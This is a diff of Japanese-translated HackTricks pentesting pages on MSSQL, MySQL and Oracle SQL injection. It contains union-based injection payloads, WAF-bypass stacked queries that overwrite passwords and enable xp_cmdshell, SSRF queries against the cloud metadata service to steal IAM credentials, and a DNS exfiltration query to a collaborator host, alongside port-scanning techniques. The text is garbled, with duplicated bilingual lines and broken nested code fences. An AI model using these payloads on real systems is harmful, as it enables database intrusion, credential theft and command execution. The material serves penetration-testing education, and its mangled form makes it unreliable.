`CREATE ASSEMBLY` SQLコマンドを実行する前に、次のSQLスニペットを実行して、アセンブリのSHA512ハッシュをサーバーの信頼されたアセンブリのリストに追加することをお勧めします(`select * from sys.trusted_assemblies;`で表示可能):
```sql
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
```
成功してアセンブリを追加し、関数を作成した後、次のSQLコードを使用してHTTPリクエストを実行できます
アセンブリを正常に追加し、関数を作成した後、次のSQLコードを使用してHTTPリクエストを実行できます
```sql
DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);
```
### **クイックエクスプロイテーション: 1つのクエリでテーブル全体の内容を取得する**
### **クイックエクスプロイテーション: 単一クエリでテーブルの全内容を取得する**
[ここからのトリック](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)。
1つのクエリでテーブルの全内容を抽出する簡潔な方法は、`FOR JSON`句を利用することです。このアプローチは、"raw"のような特定のモードが必要な`FOR XML`句よりも簡潔です。`FOR JSON`句は簡潔さが求められるため好まれます。
単一クエリでテーブルの全内容を抽出する簡潔な方法は、`FOR JSON`句を利用することです。このアプローチは、特定のモード「raw」を必要とする`FOR XML`句を使用するよりも簡潔です。`FOR JSON`句は、その簡潔さから好まれます。
現在のデータベースからスキーマ、テーブル、および列を取得する方法は次のとおりです:
現在のデータベースからスキーマ、テーブル、およびカラムを取得する方法は次のとおりです:
```sql
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:
```sql
```markdown
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
```
```
### Retrieving the Current Query
@ -171,22 +174,14 @@ https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_n
For users granted the `VIEW SERVER STATE` permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:
```sql
```plaintext
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
```
```plaintext
MSSQLインジェクション攻撃の例です。この攻撃では、sys.dm_exec_requestsとsys.dm_exec_sql_textを使用してSQL文を取得します。
```
```
To check if you have the VIEW SERVER STATE permission, the following query can be used:
```sql
```sql
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
```
```
## **Little tricks for WAF bypasses**
@ -195,123 +190,73 @@ SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERV
Non-standard whitespace characters: %C2%85 или %C2%A0:
```
```md
## MSSQL Injection
### MSSQL Union-Based Injection
To perform a union-based SQL injection on a MSSQL database, you can use the following payload in the URL parameter:
```
```markdown
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
```
This payload will attempt to retrieve the version of the MSSQL database by injecting a UNION SELECT statement into the original SQL query.
```
```
Scientific (0e) and hex (0x) notation for obfuscating UNION:
```
```plaintext
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
```
```
A period instead of a whitespace between FROM and a column name:
```
## MSSQL Injection
### MSSQL Union-Based Injection
The following URL is an example of a union-based SQL injection targeting a MSSQL database:
```plaintext
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
```
### MSSQL ユニオンベースのインジェクション
以下のURLは、MSSQLデータベースをターゲットにしたユニオンベースのSQLインジェクションの例です
```plaintext
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
```
```
\N separator between SELECT and a throwaway column:
```
## MSSQL Injection
### Union-Based SQL Injection
To perform a union-based SQL injection on a MSSQL database, you can use the following payload in the vulnerable parameter:
```plaintext
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
```
This payload will retrieve the version of the MSSQL database.
```
### WAF Bypass with unorthodox stacked queries
According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";":
```sql
```sql
SELECT 'a' SELECT 'b'
```
---
```sql
SELECT 'a' SELECT 'b'
```
```
So for example, multiple queries such as:
```sql
```plaintext
[tempdb]を使用する
テーブル[test]を作成する ([id] int)
[test]に値(1)を挿入する
[test]から[id]を選択する
[test]を削除する
```
use [tempdb]
create table [test] ([id] int)
insert [test] values(1)
select [id] from [test]
drop table[test]
```
Can be reduced to:
```sql
```sql
use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]
```
```
Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:
```
# 無駄なexec()を追加し、WAFにこれが有効なクエリではないと思わせる
# 無駄な exec() を最後に追加して WAF にこれが有効なクエリではないと思わせる
admina'union select 1,'admin','testtest123'exec('select 1')--
## これは次のようになります
## これは次のようになります:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'
# 奇妙に構築されたクエリを使用する
admin'exec('update[users]set[password]=''a''')--
## これは次のようになります
## これは次のようになります:
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'
# またはxp_cmdshellを有効にする
# または xp_cmdshell を有効にする
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## これは次のようになります
## これは次のようになります
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
@ -322,16 +267,17 @@ exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
* [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
* [https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,53 +1,55 @@
# MySQLファイル権限からSSRF/RCEへ
# MySQL File priv to SSRF/RCE
{% hint style="success" %}
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングテクニックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}
**これは[https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)からのMySQL/MariaDB/Perconaテクニックの要約です**。
**これは[https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)からのMySQL/MariaDB/Percona技術の要約です。**
### SQL関数を使用したサーバーサイドリクエストフォージェリSSRF
### SQL関数をしたサーバーサイドリクエストフォージェリSSRF
SQL Out of Bandデータの外部流出を探索する中で、`LOAD_FILE()`関数はネットワークリクエストを開始するために一般的に使用されます。ただし、この関数は、それが動作するオペレーティングシステムとデータベースの起動構成によって制約されます。
SQLのアウトオブバンドデータ流出の探索において、`LOAD_FILE()`関数はネットワークリクエストを開始するために一般的に使用されます。しかし、この関数は動作するオペレーティングシステムとデータベースの起動設定によって制約されます。
`secure_file_priv`グローバル変数は、未設定の場合、`/var/lib/mysql-files/`にデフォルトで設定され、このディレクトリへのファイルアクセスを制限します。この調整には、データベースの構成ファイルまたは起動パラメータの変更が必要です。
`secure_file_priv`グローバル変数が未設定の場合、デフォルトで`/var/lib/mysql-files/`に設定され、このディレクトリへのファイルアクセスが制限されます。空の文字列(`""`)に設定しない限り、ファイルアクセスはこのディレクトリに制限されます。この調整には、データベースの設定ファイルまたは起動パラメータの変更が必要です。
`secure_file_priv`が無効(`""`)であり、必要なファイルと`file_priv`権限が付与されていると仮定すると、指定されたディレクトリの外のファイルを読み取ることができます。ただし、これらの関数がネットワーク呼び出しを行う能力はオペレーティングシステムに大きく依存します。Windowsシステムでは、UNCパスへのネットワーク呼び出しが可能です。これは、UNC命名規則を理解しているため、NTLMv2ハッシュの流出につながる可能性があります。
`secure_file_priv`が無効(`""`)であり、必要なファイルと`file_priv`権限が付与されていると仮定すると、指定されたディレクトリの外にあるファイルを読み取ることができます。しかし、これらの関数がネットワーク呼び出しを行う能力はオペレーティングシステムに大きく依存します。Windowsシステムでは、UNCパスへのネットワーク呼び出しが可能であり、オペレーティングシステムがUNC命名規則を理解しているため、NTLMv2ハッシュの流出につながる可能性があります。
このSSRFメソッドはTCPポート445に限定され、ポート番号の変更は許可されませんが、完全な読み取り権限を持つ共有へのアクセスや、以前の研究で示されたように、ハッシュの盗難などに利用できます。
このSSRF手法はTCPポート445に制限されており、ポート番号の変更は許可されていませんが、フル読み取り権限を持つ共有にアクセスするために使用でき、以前の研究で示されたように、さらなる悪用のためにハッシュを盗むことができます。
### ユーザー定義関数UDFを介したリモートコード実行RCE
MySQLデータベースは、外部ライブラリファイルからユーザー定義関数UDFの使用が提供されます。これらのライブラリが特定のディレクトリ内またはシステムの`$PATH`内でアクセス可能であれば、MySQL内から呼び出すことができます。
MySQLデータベースは、外部ライブラリファイルからユーザー定義関数UDFを使用することを提供します。これらのライブラリが特定のディレクトリ内またはシステムの`$PATH`アクセス可能であれば、MySQL内から呼び出すことができます。
このテクニックを使用すると、`@@plugin_dir`への書き込みアクセス、`file_priv`が`Y`に設定されていることおよび`secure_file_priv`が無効であることなど、いくつかの条件が満たされる場合に、UDFを介してネットワーク/HTTPリクエストを実行できます。
この技術は、`@@plugin_dir`への書き込みアクセス、`file_priv`が`Y`に設定され、`secure_file_priv`が無効であることなど、いくつかの条件が満たされている場合に、UDFを介してネットワーク/HTTPリクエストを実行することを可能にします。
たとえば、`lib_mysqludf_sys`ライブラリや他のHTTPリクエストを可能にするUDFライブラリをロードしてSSRFを実行できます。ライブラリはサーバーに転送する必要があり、これはライブラリの内容を16進数またはBase64エンコードして適切なディレクトリに書き込むことで達成できます。
例えば、`lib_mysqludf_sys`ライブラリやHTTPリクエストを可能にする他のUDFライブラリをロードしてSSRFを実行できます。ライブラリはサーバーに転送する必要があり、ライブラリの内容を16進数またはbase64エンコードして適切なディレクトリに書き込むことで実現できます。
`@@plugin_dir`が書き込み可能でない場合、特に`v5.0.67`以上のMySQLバージョンの場合、プロセスは異なります。このような場合は、書き込み可能な代替パスを使用する必要があります。
`@@plugin_dir`が書き込み可能でない場合、特にMySQLのバージョンが`v5.0.67`を超える場合、代替の書き込み可能なパスを使用する必要があります。
これらのプロセスの自動化は、UDFインジェクションをサポートするSQLMapなどのツールによって容易に行うことができ、盲目的なSQLインジェクションの場合、出力リダイレクションやDNSリクエストスマグリング技術を利用することができます。
これらのプロセスの自動化は、UDFインジェクションをサポートするSQLMapなどのツールによって促進され、盲目的なSQLインジェクションの場合は、出力リダイレクションやDNSリクエストスモグリング技術が利用されることがあります。
{% hint style="success" %}
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングテクニックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}

View file

@ -1,38 +1,39 @@
# Oracleインジェクション
# Oracle injection
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**か**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする
- **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**削除された投稿のウェイバックマシンのコピーを提供する:[https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**
**この投稿は、[https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)から削除された投稿のWayback Machineコピーを提供します。**
## SSRF
Oracleを使用してOut of Band HTTPおよびDNSリクエストを行う方法は十分に文書化されていますが、インジェクションでSQLデータを外部に送信する手段としても使用できます。これらのテクニック/関数を変更して他のSSRF/XSPAを行うこともできます。
Oracleを使用してOut of Band HTTPおよびDNSリクエストを行うことはよく文書化されていますが、これはSQLデータを抽出する手段としての注入においても同様です。これらの技術/関数を常に変更して、他のSSRF/XSPAを実行できます。
Oracleのインストールは非常に面倒であり、特にコマンドを試すために素早くインスタンスをセットアップしたい場合は、苦労します。[Appsecco](https://appsecco.com)の友人で同僚である[Abhisek Datta](https://github.com/abhisek)は、[https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c)を紹介してくれました。これにより、t2.large AWS UbuntuマシンとDocker上にインスタンスをセットアップできました。
Oracleのインストールは非常に面倒な場合があります。特に、コマンドを試すために迅速なインスタンスをセットアップしたい場合はなおさらです。私の友人であり同僚の[Appsecco](https://appsecco.com)の[Abhisek Datta](https://github.com/abhisek)は、私に[https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c)を教えてくれました。これにより、t2.largeのAWS UbuntuマシンとDocker上にインスタンスをセットアップできました。
このブログ投稿の過程で、Oracleをネイティブインストールとして完全なネットワークアクセスを持つように模倣できるように、dockerコマンドを`--network="host"`フラグと共に実行しました
私は、`--network="host"`フラグを使用してdockerコマンドを実行し、Oracleをネイティブインストールとして完全なネットワークアクセスで模倣できるようにしました。このブログ投稿の期間中です
```
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
```
#### URLまたはホスト名/ポート番号指定をサポートするOracleパッケージ <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
#### URLまたはホスト名/ポート番号指定をサポートするOracleパッケージ <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
ホストとポートの指定をサポートするパッケージや関数を見つけるために、[Oracle Database Online Documentation](https://docs.oracle.com/database/121/index.html)でGoogle検索を実行しました。具体的には、
ホストとポートの指定をサポートするパッケージや関数を見つけるために、[Oracle Database Online Documentation](https://docs.oracle.com/database/121/index.html)でGoogle検索を行いました。具体的には、
```
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
```
検索結果は以下の通りです(すべてがアウトバウンドネットワークを実行するために使用できるわけではありません)
検索は次の結果を返しました(すべてがアウトバウンドネットワークを実行するために使用できるわけではありません)
* DBMS\_NETWORK\_ACL\_ADMIN
* UTL\_SMTP
@ -49,34 +50,34 @@ site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portn
* DBMS\_STREAMS\_ADM
* UTL\_HTTP
この簡素な検索では、ホスト名とポート番号を渡すことができる`DBMS_LDAP`のようなパッケージがスキップされています([ドキュメントページ](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360)は単に[異なる場所](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360)を指します)。したがって、見逃しているかもしれないアウトバウンドリクエストを行うために悪用できる他のOracleパッケージがあるかもしれません。
この粗い検索は明らかに、ホスト名とポート番号を渡すことを許可する`DBMS_LDAP`のようなパッケージをスキップしています。 [ドキュメントページ](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360)は単に[別の場所](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360)を指しています。したがって、私が見逃したかもしれないアウトバウンドリクエストを行うために悪用できる他のOracleパッケージがあるかもしれません。
いずれにせよ、発見したパッケージのいくつかを見てみましょう。
いずれにせよ、私たちが発見し、上にリストしたパッケージのいくつかを見てみましょう。
**DBMS\_LDAP.INIT**
`DBMS_LDAP`パッケージはLDAPサーバーからデータにアクセスすることを可能にします。`init()`関数はLDAPサーバーとのセッションを初期化し、ホスト名とポート番号を引数として取ります。
`DBMS_LDAP`パッケージはLDAPサーバーからデータにアクセスすることを可能にします。 `init()`関数はLDAPサーバーとのセッションを初期化し、ホスト名とポート番号を引数として受け取ります。
この関数は以前に、以下のようにDNS経由でのデータの外部への送信を示すために文書化されています。
この関数は、以下のようにDNSを介してデータの抽出を示すために以前に文書化されています。
```
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
```
しかし、関数がホスト名とポート番号を引数として受け入れるため、これをポートスキャナのように機能させることができます。
しかし、この関数はホスト名とポート番号を引数として受け取るため、ポートスキャナーのように機能させることもできます。
以下にいくつかの例を示します。
いくつかの例を示します。
```
SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
```
`ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.`は、ポートが閉じていることを示しており、セッション値ポートが開いていることを指しています。
`ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` は、ポートが閉じていることを示しており、セッション値ポートが開いていることを指しています。
**UTL\_SMTP**
`UTL_SMTP`パッケージは、SMTP経由でメールを送信するために設計されています。[Oracleのドキュメントサイト](https://docs.oracle.com/database/121/ARPLS/u\_smtp.htm#ARPLS71478)に提供されている例では、このパッケージを使用してメールを送信する方法が示されています。しかし、私たちにとって興味深いのは、ホストとポートの指定ができる点です。
`UTL_SMTP` パッケージは、SMTPを介して電子メールを送信するために設計されています。[Oracleのドキュメントサイトに提供されている例では、このパッケージを使用してメールを送信する方法が示されています](https://docs.oracle.com/database/121/ARPLS/u_smtp.htm#ARPLS71478)。しかし、私たちにとって興味深いのは、ホストとポートの指定を提供できる能力です。
以下に、タイムアウトを2秒に設定した`UTL_SMTP.OPEN_CONNECTION`関数の簡単な例が示されています。
粗い例は、タイムアウトが2秒の `UTL_SMTP.OPEN_CONNECTION` 関数で以下に示されています。
```
DECLARE c utl_smtp.connection;
BEGIN
@ -90,13 +91,13 @@ BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;
```
`ORA-29276: 転送タイムアウト` はポートが開いていることを示しますが、SMTP接続が確立されていません。一方、`ORA-29278: SMTP一時エラー: 421 サービスが利用できません` はポートが閉じていることを示します。
`ORA-29276: transfer timeout` はポートが開いているが、SMTP接続が確立されていないことを示し、`ORA-29278: SMTP transient error: 421 Service not available` はポートが閉じていることを示します。
**UTL\_TCP**
`UTL_TCP` パッケージとその手続きおよび関数は[TCP/IPベースのサービスとの通信](https://docs.oracle.com/cd/B28359\_01/appdev.111/b28419/u\_tcp.htm#i1004190)を可能にします。特定のサービス向けにプログラムされている場合、このパッケージはネットワークへの入り口となるか、TCP/IP接続のすべての側面を制御できるため、完全なサーバーサイドリクエストを実行できます。
`UTL_TCP` パッケージとその手続きおよび関数は、[サービスとのTCP/IPベースの通信を可能にします](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190)。特定のサービス用にプログラムされている場合、このパッケージはネットワークへの侵入や、TCP/IP接続のすべての側面を制御できるため、完全なサーバーサイドリクエストを実行する手段となることがあります。
Oracleのドキュメントサイトの例では、このパッケージを使用して[ウェブページを取得するための生のTCP接続を行う方法](https://docs.oracle.com/cd/B28359\_01/appdev.111/b28419/u\_tcp.htm#i1004190)を示しています。これをさらに簡略化して、メタデータインスタンスや任意のTCP/IPサービスにリクエストを行うために使用することができます。
[Oracleのドキュメントサイトの例では、このパッケージを使用して生のTCP接続を作成し、ウェブページを取得する方法が示されています](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190)。これをもう少し簡略化して、メタデータインスタンスや任意のTCP/IPサービスにリクエストを送信するために使用できます。
```
set serveroutput on size 30000;
SET SERVEROUTPUT ON
@ -136,34 +137,35 @@ END;
utl_tcp.close_connection(c);
END;
```
興味深いことに、生のTCPリクエストを作成できる能力から、このパッケージはすべてのクラウドプロバイダーのインスタンスメタデータサービスをクエリするためにも使用できます。メソッドタイプや追加ヘッダーなどはすべてTCPリクエスト内で渡すことができます。
興味深いことに、生のTCPリクエストを作成する能力により、このパッケージはすべてのクラウドプロバイダーのインスタンスメタデータサービスをクエリするためにも使用できます。メソッドタイプと追加ヘッダーはすべてTCPリクエスト内で渡すことができます。
**UTL_HTTPとWebリクエスト**
**UTL\_HTTPとWebリクエスト**
おそらく、あらゆるOut of Band Oracle SQL Injectionチュートリアルで最も一般的で広く文書化されているテクニックは、[`UTL_HTTP`パッケージ](https://docs.oracle.com/database/121/ARPLS/u\_http.htm#ARPLS070)です。このパッケージは、ドキュメントによって次のように定義されています - `UTL_HTTPパッケージはSQLおよびPL/SQLからのハイパーテキスト転送プロトコルHTTP呼び出しを行います。これを使用して、HTTP経由でインターネット上のデータにアクセスできます。`
おそらく、すべてのOut of Band Oracle SQL Injectionチュートリアルで最も一般的で広く文書化された技術は、[`UTL_HTTP`パッケージ](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070)です。このパッケージは、文書によって次のように定義されています - `UTL_HTTPパッケージは、SQLおよびPL/SQLからHypertext Transfer Protocol (HTTP) コールアウトを行います。これを使用して、HTTPを介してインターネット上のデータにアクセスできます。`
```
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
```
さらに、次のようなクエリを使用して、基本的なポートスキャンを実行することもできます。
あなたはさらに、次のようなクエリを使用して、基本的なポートスキャンを実行することもできます。
```
